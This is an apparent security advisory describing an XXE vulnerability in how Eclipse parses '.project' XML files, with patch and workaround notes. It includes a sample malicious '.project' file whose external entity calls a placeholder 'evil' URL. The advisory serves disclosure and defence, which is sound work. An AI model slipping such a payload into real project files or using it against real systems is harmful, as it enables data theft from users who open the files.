Impact

xml files like “.project” are parsed vulnerable against all sorts of XXE attacks. The user just needs to open any evil project or update an open project with a vulnerable file (for example for review a foreign repository or patch).

Vulnerablility was found by static code analysis (SonarLint).

Example .project file:

&lt;?xml version="1.0" encoding="utf-8"?&gt; 
&lt;!DOCTYPE price [
&lt;!ENTITY xxe SYSTEM "http://127.0.0.1:49416/evil"&gt;]&gt;
&lt;projectDescription&gt;
	&lt;name&gt;p&lt;/name&gt;
	&lt;comment&gt;&xxe;&lt;/comment&gt;
&lt;/projectDescription&gt;

Patches

Similar patches including junit test that shows the vulnerability have already applied to PDE (see https://github.com/eclipse-pde/eclipse.pde/pull/667). A solution to platform should be the same: just reject parsing any XML that contains any DOCTYPE.

Workarounds

No known workaround. User can only avoid to get/open any foreign files with eclipse. Firewall rules against loss of data (but not against XML bomb).
